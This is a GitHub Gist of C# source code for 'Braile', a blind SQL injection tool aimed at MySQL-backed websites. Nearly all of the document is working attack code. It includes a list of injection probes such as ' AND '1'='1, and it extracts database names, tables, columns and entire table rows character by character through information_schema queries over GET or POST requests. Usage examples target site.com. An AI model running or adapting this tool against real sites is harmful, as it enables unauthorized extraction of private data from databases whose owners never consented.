Last active
September 27, 2019 18:22
-
-
Save carlosernestolopez/a14ab28c482c845e6594fc38a342e358 to your computer and use it in GitHub Desktop.
// Braile // MySQL Blind SQL Injections Tool
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// Braile | |
// MySQL Blind SQL Injections Tool | |
// By Carlos E. López | |
// celopez.ni1990@gmail.com | |
// León, Nicaragua | |
// 13/09/2019 Se agregó soporte para peticiones POST | |
// 13/09/2019 Mejoras varias | |
using System; | |
using System.Collections.Generic; | |
using System.Linq; | |
using System.Net; | |
using System.Threading.Tasks; | |
namespace BraileCMD | |
{ | |
class Program | |
{ | |
static void Main(string[] args) | |
{ | |
if (args.Length < 3) | |
printUsage(); | |
string httpMethod = args[0]; | |
string url = args[1]; | |
string okReponse = args[2]; | |
string command = ""; | |
if (args.Length > 3) | |
command = args[3]; | |
if (okReponse == "") | |
{ | |
Console.WriteLine("ERROR: Please enter a valid text to identify if the injection was successfully executed"); | |
printUsage(); | |
} | |
string[] valid_commands = new string[] { "tables", "cols", "rows" }; | |
if (command != "" && !valid_commands.Contains(command)) | |
{ | |
Console.WriteLine("ERROR: Invalid command. Please use tables to retrieve the tables related to a database, cols to retrieve column names of a specific table or rows to get all the information from a table"); | |
printUsage(); | |
} | |
Console.WriteLine("\nIdentifying injection method"); | |
string post_data = ""; | |
if (httpMethod == "POST") | |
{ | |
string[] url_parts = url.Split('|'); | |
url = url_parts[0]; | |
post_data = url_parts[1]; | |
} | |
List<string> methods = new List<string> { }; | |
methods.Add(" AND 1=1"); | |
methods.Add(" AND '1'='1"); | |
methods.Add(" AND 1=1/*"); | |
methods.Add(" AND 1=1--"); | |
methods.Add("/**/AND/**/'1'='1"); | |
methods.Add("/**/AND/**/1=1/*"); | |
methods.Add("/**/AND--"); | |
methods.Add("' AND '1'='1"); | |
methods.Add("' AND 1=1/*"); | |
methods.Add("' AND 1=1--"); | |
methods.Add("'/**/AND/**/'1'='1"); | |
methods.Add("'/**/AND/**/1=1/*"); | |
methods.Add("'/**/AND--"); | |
string method_to_use = ""; | |
foreach (string method in methods) | |
{ | |
using (WebClient wc = new WebClient()) | |
{ | |
string result = ""; | |
try { | |
if ( post_data != "" ) | |
{ | |
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded"; | |
result = wc.UploadString(url, post_data + method); | |
} | |
else | |
result = wc.DownloadString(url + method); | |
} | |
catch(Exception){ | |
try | |
{ | |
if (post_data != "") | |
{ | |
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded"; | |
result = wc.UploadString(url, post_data + method); | |
} | |
else | |
result = wc.DownloadString(url + method); | |
} | |
catch (Exception) | |
{ | |
} | |
} | |
if (result.Contains(okReponse)) | |
{ | |
method_to_use = method; | |
break; | |
} | |
} | |
} | |
if (method_to_use == "") | |
{ | |
Console.WriteLine("The injection method couldn't be identified"); | |
Environment.Exit(-1); | |
} | |
else | |
{ | |
Console.WriteLine("\nMethod successfully identified: " + method_to_use); | |
} | |
if (args.Length == 5 && command == "tables" && args[4] != "") | |
{ | |
string database = args[4]; | |
Console.WriteLine("\nRetrieving number of tables"); | |
string countTables = getInfo(url, method_to_use.Replace("AND", "AND (SELECT IF(ORD( SUBSTRING( CAST(COUNT(*) AS UNSIGNED INT), {pos}, 1 ) ) IN ({ReplaceMe}), 1, 0) FROM information_schema.TABLES WHERE TABLE_SCHEMA = " + getHex(database) + ") AND "), okReponse, post_data); | |
Console.WriteLine(countTables + " Tables found"); | |
Console.WriteLine("\nRetrieving tables in " + database); | |
for (int x = 0; x < Int32.Parse(countTables); x++) | |
{ | |
string res = getInfo(url, method_to_use.Replace("AND", "AND (SELECT IF(ORD( SUBSTRING( TABLE_NAME, {pos}, 1 ) ) IN ({ReplaceMe}), 1, 0) FROM information_schema.TABLES WHERE TABLE_SCHEMA = " + getHex(database) + " LIMIT " + x.ToString() + ",1) AND "), okReponse, post_data); | |
Console.WriteLine(x.ToString() + " - " + res); | |
} | |
} | |
else if (args.Length == 6 && command == "cols" && args[4] != "" && args[4] != "") | |
{ | |
string database = args[4]; | |
string table = args[5]; | |
Console.WriteLine("\nRetrieving number of columns"); | |
string countTables = getInfo(url, method_to_use.Replace("AND", "AND (SELECT IF(ORD( SUBSTRING( CAST(COUNT(*) AS UNSIGNED INT), {pos}, 1 ) ) IN ({ReplaceMe}), 1, 0) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = " + getHex(database) + " AND TABLE_NAME = " + getHex(table) + ") AND "), okReponse, post_data); | |
Console.WriteLine(countTables + " columns found"); | |
Console.WriteLine("\nIdentifying columns in " + database + "." + table); | |
for (int x = 0; x < Int32.Parse(countTables); x++) | |
{ | |
string res = getInfo(url, method_to_use.Replace("AND", "AND (SELECT IF(ORD( SUBSTRING( COLUMN_NAME, {pos}, 1 ) ) IN ({ReplaceMe}), 1, 0) FROM information_schema.COLUMNS WHERE TABLE_SCHEMA = " + getHex(database) + " AND TABLE_NAME = " + getHex(table) + " LIMIT " + x.ToString() + ",1) AND "), okReponse, post_data); | |
Console.WriteLine(x.ToString() + " - " + res); | |
} | |
} | |
else if ((args.Length == 7 || args.Length == 8) && command == "rows" && args[4] != "" && args[5] != "" && args[6] != "") | |
{ | |
string database = args[4]; | |
string table = args[5]; | |
string columns = args[6]; | |
int start = 0; | |
if (args.Length == 8 && args[7] != "") { | |
start = Int32.Parse(args[7]); | |
} | |
if (start < 0) | |
printUsage(); | |
if (columns.Contains(",")) | |
columns = "concat(" + columns.Replace(",", ",0x20,") + ")"; | |
Console.WriteLine("\nRetrieving the number of rows"); | |
string countRows = getInfo(url, method_to_use.Replace("AND", "AND (SELECT IF(ORD( SUBSTRING( CAST(COUNT(*) AS UNSIGNED INT), {pos}, 1 ) ) IN ({ReplaceMe}), 1, 0) FROM " + database + "." + table + ") AND "), okReponse, post_data); | |
Console.WriteLine(countRows + " Rows found"); | |
Console.WriteLine("\nIdentifying Rows information"); | |
for (int x = start; x < Int32.Parse(countRows); x++) | |
{ | |
string sql = method_to_use.Replace("AND", "AND (SELECT IF(ORD( SUBSTRING(" + columns + ", {pos}, 1 ) ) IN ({ReplaceMe}), 1, 0) FROM " + database + "." + table + " LIMIT " + x + ",1) AND "); | |
string res = getInfo(url, sql, okReponse, post_data); | |
Console.WriteLine(x.ToString() + " - " + res); | |
} | |
} | |
else | |
{ | |
Console.WriteLine("\nIndentifying number of databases"); | |
string countDB = getInfo(url, method_to_use.Replace("AND", "AND (SELECT IF(ORD( SUBSTRING( CAST(COUNT(*) AS UNSIGNED INT), {pos}, 1 ) ) IN ({ReplaceMe}), 1, 0) FROM information_schema.SCHEMATA WHERE SCHEMA_NAME != " + getHex("information_schema") + ") AND "), okReponse, post_data); | |
Console.WriteLine(countDB + " databases found"); | |
Console.WriteLine("\nRetrieving databases information"); | |
for (int x = 0; x < Int32.Parse(countDB); x++) | |
{ | |
string res = getInfo(url, method_to_use.Replace("AND", "AND (SELECT IF(ORD( SUBSTRING( SCHEMA_NAME, {pos}, 1 ) ) IN ({ReplaceMe}), 1, 0) FROM information_schema.SCHEMATA WHERE SCHEMA_NAME != " + getHex("information_schema") + " LIMIT " + x.ToString() + ",1) AND "), okReponse, post_data); | |
Console.WriteLine(x.ToString() + " - " + res); | |
} | |
} | |
} | |
static void printUsage() | |
{ | |
Console.WriteLine("Usage: BraileCMD HTTP_METHOD URL OK_RESPONSE [COMMAND]. In POST request use | to separate the URL and the POST vars."); | |
Console.WriteLine("\nEx 1: BraileCMD GET \"http://site.com/index.php?id=\" \"hello\""); | |
Console.WriteLine("Ex 2: BraileCMD GET \"http://site.com/index.php?id=\" \"hello\" tables database_name"); | |
Console.WriteLine("Ex 3: BraileCMD GET \"http://site.com/index.php?id=\" \"hello\" cols database_name table_name"); | |
Console.WriteLine("Ex 4: BraileCMD POST \"http://site.com/index.php|id=\" \"hello\" rows database_name table_name"); | |
Console.WriteLine("Ex 5: BraileCMD POST \"http://site.com/pic.php?gal=5|id=10\" \"hello\" rows database_name table_name starting_at"); | |
Environment.Exit(-1); | |
} | |
// Codifico las cadenas en hexadecimal por si la inyección no permite utilizar comillas simples | |
static string getHex(string regularString) | |
{ | |
return "0x" + string.Join("", regularString.Select(c => String.Format("{0:X2}", Convert.ToInt32(c)))).ToLower(); | |
} | |
static string getInfo(string url, string method_to_use, string respuestaOK, string postData = "", bool verbose = false) | |
{ | |
if (method_to_use.Contains("/**/")) | |
method_to_use.Replace(" ", "/**/"); | |
object locker = new object(); | |
// CONFIG | |
int partirSubGrupos = 6; | |
// INIT | |
string cadenaFinal = ""; | |
url = url.Replace(" ", "%20"); | |
// PREPARAR GRUPOS | |
Dictionary<string, int[]> grupos = new Dictionary<string, int[]> { }; | |
grupos.Add("minusculas", Enumerable.Range(97, 122 - 97 + 1).ToArray()); | |
grupos.Add("numeros", Enumerable.Range(48, 57 - 48 + 1).ToArray()); | |
grupos.Add("mayusculas", Enumerable.Range(65, 90 - 65 + 1).ToArray()); | |
grupos.Add("espacio", new int[] { 32, 10 }); | |
grupos.Add("especiales", Enumerable.Range(33, 47 - 33 + 1).ToArray()); | |
grupos.Add("especiales2", Enumerable.Range(58, 64 - 58 + 1).ToArray()); | |
grupos.Add("especiales3", Enumerable.Range(91, 95 - 91 + 1).ToArray()); | |
grupos.Add("nulo", new int[] { 0 }); | |
int pos = 1; | |
while (true) | |
{ | |
if (verbose) | |
Console.WriteLine("\n[ IDENTIFICANDO GRUPO ]"); | |
string grupo = ""; | |
foreach (KeyValuePair<string, int[]> _grupo in grupos) | |
{ | |
if (verbose) | |
Console.WriteLine("PROBANDO CON " + _grupo.Key); | |
string grupo_str = string.Join(",", _grupo.Value); | |
using (WebClient wc = new WebClient()) | |
{ | |
string _result = ""; | |
try { | |
if (postData != "") | |
{ | |
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded"; | |
_result = wc.UploadString(url, postData + method_to_use.Replace("{ReplaceMe}", grupo_str).Replace("{pos}", pos.ToString())); | |
} | |
else | |
_result = wc.DownloadString(url + method_to_use.Replace("{ReplaceMe}", grupo_str).Replace("{pos}", pos.ToString())); | |
} | |
catch (Exception) | |
{ | |
try | |
{ | |
if (postData != "") | |
{ | |
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded"; | |
_result = wc.UploadString(url, postData + method_to_use.Replace("{ReplaceMe}", grupo_str).Replace("{pos}", pos.ToString())); | |
} | |
else | |
_result = wc.DownloadString(url + method_to_use.Replace("{ReplaceMe}", grupo_str).Replace("{pos}", pos.ToString())); | |
} | |
catch(Exception) | |
{ | |
} | |
} | |
if (_result.Contains(respuestaOK)) | |
{ | |
grupo = _grupo.Key; | |
if (grupo == "nulo") | |
{ | |
if (verbose) | |
Console.WriteLine("\n CADENA FINAL: " + cadenaFinal); | |
return cadenaFinal; | |
} | |
break; | |
} | |
} | |
} | |
if (grupo == "") | |
{ | |
if (cadenaFinal != "") | |
return cadenaFinal; | |
else return "ERROR GRUPO"; | |
} | |
string subgrupoFinal = ""; | |
int i = 0; | |
int[] items_grupo = grupos[grupo]; | |
int[][] sub_grupos = items_grupo.GroupBy(s => i++ / partirSubGrupos).Select(g => g.ToArray()).ToArray(); | |
if (verbose) | |
Console.WriteLine("\n[ IDENTIFICANDO SUBGRUPO ]"); | |
foreach (int[] subgrupo in sub_grupos) | |
{ | |
string subgrupo_str = string.Join(",", subgrupo); | |
if (verbose) | |
Console.WriteLine("PROBANDO CON " + subgrupo_str); | |
using (WebClient wc = new WebClient()) | |
{ | |
string _result = ""; | |
try | |
{ | |
if (postData != "") | |
{ | |
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded"; | |
_result = wc.UploadString(url, postData + method_to_use.Replace("{ReplaceMe}", subgrupo_str).Replace("{pos}", pos.ToString())); | |
} | |
else | |
_result = wc.DownloadString(url + method_to_use.Replace("{ReplaceMe}", subgrupo_str).Replace("{pos}", pos.ToString())); | |
} | |
catch(Exception) | |
{ | |
try { | |
if (postData != "") | |
{ | |
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded"; | |
_result = wc.UploadString(url, postData + method_to_use.Replace("{ReplaceMe}", subgrupo_str).Replace("{pos}", pos.ToString())); | |
} | |
else | |
_result = wc.DownloadString(url + method_to_use.Replace("{ReplaceMe}", subgrupo_str).Replace("{pos}", pos.ToString())); | |
} | |
catch(Exception) | |
{ | |
} | |
} | |
if (_result.Contains(respuestaOK)) | |
{ | |
subgrupoFinal = subgrupo_str; | |
break; | |
} | |
} | |
} | |
string caracter = ""; | |
string[] candidatos = subgrupoFinal.Split(','); | |
Parallel.ForEach(candidatos, (candidato, state) => | |
{ | |
using (WebClient wc = new WebClient()) | |
{ | |
string _result = ""; | |
try { | |
if (postData != "") | |
{ | |
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded"; | |
_result = wc.UploadString(url, postData + method_to_use.Replace("{ReplaceMe}", candidato).Replace("{pos}", pos.ToString())); | |
} | |
else | |
_result = wc.DownloadString(url + method_to_use.Replace("{ReplaceMe}", candidato).Replace("{pos}", pos.ToString())); | |
} | |
catch(Exception) | |
{ | |
try | |
{ | |
if (postData != "") | |
{ | |
wc.Headers[HttpRequestHeader.ContentType] = "application/x-www-form-urlencoded"; | |
_result = wc.UploadString(url, postData + method_to_use.Replace("{ReplaceMe}", candidato).Replace("{pos}", pos.ToString())); | |
} | |
else | |
_result = wc.DownloadString(url + method_to_use.Replace("{ReplaceMe}", candidato).Replace("{pos}", pos.ToString())); | |
} | |
catch (Exception) { | |
} | |
} | |
if (_result.Contains(respuestaOK)) | |
{ | |
lock (locker) | |
{ | |
if(verbose) | |
Console.WriteLine("Caracter encontrado: " + candidato); | |
caracter = candidato; | |
pos++; | |
} | |
state.Break(); | |
} | |
} | |
}); | |
if (caracter == "") | |
return cadenaFinal; | |
cadenaFinal += (char)int.Parse(caracter); | |
} | |
} | |
} | |
} |
TODO:
Se podría modificar la identificación del método de inyección para que también esa multi-hilo. Y se podrían anidar las funciones para identificar grupos, subgrupos y finalmente caracteres para que también sean multi-hilo las primeras 2. Hace falta agregar AND/**/1=1
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Manual PDF con Imágenes
https://drive.google.com/file/d/1xZzC_NIPtI7zQdfV2vZoTV2CidBdvMdx/view